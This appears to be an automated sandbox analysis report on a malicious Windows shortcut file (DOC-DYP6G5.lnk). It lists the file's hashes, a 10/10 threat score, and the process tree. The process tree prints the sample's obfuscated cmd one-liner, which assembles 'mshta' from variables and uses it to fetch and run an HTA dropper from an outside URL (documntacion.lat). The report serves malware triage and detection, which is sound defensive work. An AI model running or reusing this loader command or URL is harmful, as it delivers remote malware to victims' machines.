Analysis
- max time kernel
60s - max time network
22s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
22/08/2026, 04:46
Static task
static1
Behavioral task
behavioral1
Sample
DOC-DYP6G5.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-DYP6G5.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-DYP6G5.lnk
- Size 1KB
- Sample260822-feey8a1cqa
- SHA256 96003f3d7d5c37c1110496a71dcdd9d7e136895f0e5901ac6aaa78a3029210e7
- MD5 755c5f1fba43ccc1089ffe1de8850c76
- SHA1 5165be8043da517917528ce644ae168f24735025
- SHA512 54ff0173bdb92972d0bcd51abbdd3ffbd145cc24a526959d18b19b0c9770b266676d95cbe50acee981de71ed77d81c3ef546ae671b5a4744eaecec26885ee669
- TLSH T1BC3124506EFD0A24F3F39E7784BB572489BFB8568E10CA2D41418A4C1472A11E67AF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4004 cmd.exe 4476 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4004 wrote to memory of 4476 4004 cmd.exe 90 PID 4476 wrote to memory of 860 4476 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-DYP6G5.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4004 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set Duk=msh&&set KBTZf=ta&&start "" !Duk!!KBTZf! https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4476 -
C:\Windows\System32\mshta.exemshta https://documntacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:860
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